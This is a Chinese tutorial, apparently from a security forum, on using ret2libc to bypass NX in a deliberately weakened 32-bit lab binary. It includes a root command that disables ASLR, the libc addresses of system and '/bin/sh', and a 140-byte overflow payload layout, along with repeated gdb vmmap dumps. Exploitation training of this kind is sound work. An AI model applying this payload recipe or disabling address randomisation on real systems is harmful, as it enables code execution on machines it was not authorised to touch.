这里继续参考郑敏老师的文章: 《一步一步学ROP之linux_x86篇》
前面level1关闭了所有的保护机制,今天给大家带来的是通过ret2libc技术来绕过DEP(NX)保护,编译选项依然关闭栈保护(-fno-stack-protector)和地址随机化;
编译如下(移除了-z execstack
选项):
gcc -m32 -fno-stack-protector -o level2 level2.c
关闭aslr地址随机化的方法和level1一致
gdb使用peda插件的vmmap
命令查看maps的属性。
level1各个map属性如下
level2各个map属性如下
可以看到level2的栈是没有可执行属性的。如果将shellcode部署在buf(栈内存)上,当函数返回时去栈内执行shellcode是会出错的。
既然栈没了可执行的属性,再在栈上部署shellcode的方式已经不可行了,但是经过前人的研究发现了ret2libc这种技术。
ret2libc从词面意思可以看出通过控制ret(返回地址)去libc执行代码,因为libc作为一个库是有可执行属性的。在libc中执行代码是可行的。
并且libc中有我们想要的system函数和"/bin/sh"字符串。
我们要组装system("/bin/sh")的栈布局。
在函数system被执行时,我们要在栈上部署好字符串"/bin/sh"的地址。
部分栈内存布局如下
|system_addr(4字节) |nop(4字节)|"/bin/sh"字符串地址(4字节)|
这样当system执行时它会去栈上找到命令行。
通过命令行 print system
或者 p system
可以打印出system函数的地址
system = 0xf7c48170
以下是libc的map情况
libc起始地址 0xf7c00000 ,结束地址 0xf7e2b000
通过peda 命令 find "/bin/sh" 0xf7c00000 0xf7e2b000
binsh = 0xf7dbd0f5
如何确认ret的offset,请参考上一篇文章。
|140 * 'A'|system_addr(4字节) |nop(4字节)|"/bin/sh"字符串地址(4字节)|
bingo
sudo
-
s
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
exit
sudo
-
s
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
exit
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r--p
/home/dbg/Desktop/rop/level1/level1
0x56556000 0x56557000 r-xp
/home/dbg/Desktop/rop/level1/level1
0x56557000 0x56558000 r--p
/home/dbg/Desktop/rop/level1/level1
0x56558000 0x56559000 r--p
/home/dbg/Desktop/rop/level1/level1
0x56559000 0x5655a000 rw-p
/home/dbg/Desktop/rop/level1/level1
0xf7c00000 0xf7c20000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7c20000 0xf7da2000 r-xp
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7da2000 0xf7e27000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e27000 0xf7e28000 ---p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e28000 0xf7e2a000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2a000 0xf7e2b000 rw-p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2b000 0xf7e35000 rw-p mapped
0xf7fbe000 0xf7fc0000 rw-p mapped
0xf7fc0000 0xf7fc4000 r--p [vvar]
0xf7fc4000 0xf7fc6000 r-xp [vdso]
0xf7fc6000 0xf7fc7000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7fc7000 0xf7fec000 r-xp
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7fec000 0xf7ffb000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7ffb000 0xf7ffd000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7ffd000 0xf7ffe000 rw-p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xfffdd000 0xffffe000 rwxp [stack]
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r--p
/home/dbg/Desktop/rop/level1/level1
0x56556000 0x56557000 r-xp
/home/dbg/Desktop/rop/level1/level1
0x56557000 0x56558000 r--p
/home/dbg/Desktop/rop/level1/level1
0x56558000 0x56559000 r--p
/home/dbg/Desktop/rop/level1/level1
0x56559000 0x5655a000 rw-p
/home/dbg/Desktop/rop/level1/level1
0xf7c00000 0xf7c20000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7c20000 0xf7da2000 r-xp
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7da2000 0xf7e27000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e27000 0xf7e28000 ---p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e28000 0xf7e2a000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2a000 0xf7e2b000 rw-p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2b000 0xf7e35000 rw-p mapped
0xf7fbe000 0xf7fc0000 rw-p mapped
0xf7fc0000 0xf7fc4000 r--p [vvar]
0xf7fc4000 0xf7fc6000 r-xp [vdso]
0xf7fc6000 0xf7fc7000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7fc7000 0xf7fec000 r-xp
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7fec000 0xf7ffb000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7ffb000 0xf7ffd000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7ffd000 0xf7ffe000 rw-p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xfffdd000 0xffffe000 rwxp [stack]
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r--p
/home/dbg/Desktop/rop/level2/level2
0x56556000 0x56557000 r-xp
/home/dbg/Desktop/rop/level2/level2
0x56557000 0x56558000 r--p
/home/dbg/Desktop/rop/level2/level2
0x56558000 0x56559000 r--p
/home/dbg/Desktop/rop/level2/level2
0x56559000 0x5655a000 rw-p
/home/dbg/Desktop/rop/level2/level2
0xf7c00000 0xf7c20000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7c20000 0xf7da2000 r-xp
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7da2000 0xf7e27000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e27000 0xf7e28000 ---p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e28000 0xf7e2a000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2a000 0xf7e2b000 rw-p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2b000 0xf7e35000 rw-p mapped
0xf7fbe000 0xf7fc0000 rw-p mapped
0xf7fc0000 0xf7fc4000 r--p [vvar]
0xf7fc4000 0xf7fc6000 r-xp [vdso]
0xf7fc6000 0xf7fc7000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7fc7000 0xf7fec000 r-xp
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7fec000 0xf7ffb000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7ffb000 0xf7ffd000 r--p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xf7ffd000 0xf7ffe000 rw-p
/usr/lib/i386-linux-gnu/ld-linux
.so.2
0xfffdd000 0xffffe000 rw-p [stack]
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r--p
/home/dbg/Desktop/rop/level2/level2
0x56556000 0x56557000 r-xp
/home/dbg/Desktop/rop/level2/level2
0x56557000 0x56558000 r--p
/home/dbg/Desktop/rop/level2/level2
0x56558000 0x56559000 r--p
/home/dbg/Desktop/rop/level2/level2
0x56559000 0x5655a000 rw-p
/home/dbg/Desktop/rop/level2/level2
0xf7c00000 0xf7c20000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7c20000 0xf7da2000 r-xp
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7da2000 0xf7e27000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e27000 0xf7e28000 ---p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e28000 0xf7e2a000 r--p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2a000 0xf7e2b000 rw-p
/usr/lib/i386-linux-gnu/libc
.so.6
0xf7e2b000 0xf7e35000 rw-p mapped
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!